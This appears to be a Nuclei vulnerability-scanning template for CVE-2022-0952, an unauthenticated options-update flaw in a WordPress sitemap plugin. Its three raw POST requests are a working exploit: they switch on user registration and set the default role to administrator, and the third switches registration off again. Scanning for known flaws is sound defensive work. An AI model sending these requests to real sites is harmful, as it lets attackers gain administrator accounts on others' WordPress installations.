id: CVE-2022-0952

info:
  name: Sitemap by click5 < 1.0.36 - Unauthenticated Arbitrary Options Update
  author: random-robbie
  severity: high
  description: |
    The plugin does not have authorisation and CSRF checks when updating options via a REST endpoint, and does not ensure that the option to be updated belongs to the plugin
  reference:
    - https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0952
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0952
    cwe-id: CWE-862
  metadata:
    verified: "true"
  tags: cve,cve2022,wordpress,wp,wp-plugin,sitemap

requests:
  - raw:
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8

        {"users_can_register":"1"}

      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8

        {"default_role":"administrator"}

      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8

        {"users_can_register":"0"}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(all_headers, "application/json")'
          - "status_code == 200"
          - "contains(body_1, 'users_can_register')"
          - "contains(body_2, 'default_role')"
        condition: and